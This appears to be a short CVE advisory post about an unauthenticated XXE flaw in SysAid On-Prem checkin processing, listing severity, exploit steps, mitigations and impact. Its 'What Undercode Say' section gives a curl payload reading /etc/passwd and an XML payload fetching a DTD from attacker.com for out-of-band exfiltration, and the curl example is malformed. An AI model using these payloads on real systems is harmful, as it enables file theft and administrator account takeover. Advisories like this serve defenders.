Listen to this Post
How the CVE Works
CVE-2025-2775 exploits an unauthenticated XXE vulnerability in SysAid On-Prem versions <= 23.3.40. The flaw resides in the Checkin processing functionality, where improperly parsed XML input allows attackers to inject malicious external entity references. This enables remote file read access and can lead to administrator account compromise by extracting sensitive system files, such as configuration data or credentials. Attackers craft malicious XML payloads to trigger server-side request forgery (SSRF) or data exfiltration, bypassing authentication due to lack of input validation.
DailyCVE Form
Platform: SysAid On-Prem
Version: <= 23.3.40
Vulnerability: Unauthenticated XXE
Severity: Critical
Date: 07/22/2025
Prediction: Patch expected by 08/15/2025
What Undercode Say
Check XXE vulnerability via curl: curl -X POST http://target/checkin --data '<!ENTITY xxe SYSTEM "file:///etc/passwd">' Exploit SSRF: xml='<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]>'
How Exploit
- Craft malicious XML with external entities.
- Inject payload into Checkin endpoint.
- Exfiltrate files via out-of-band (OOB) techniques.
Protection from this CVE
- Upgrade to SysAid > 23.3.40.
- Disable DTD processing.
- Implement XML input validation.
Impact
- Remote file read.
- Administrator account takeover.
- System compromise.
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
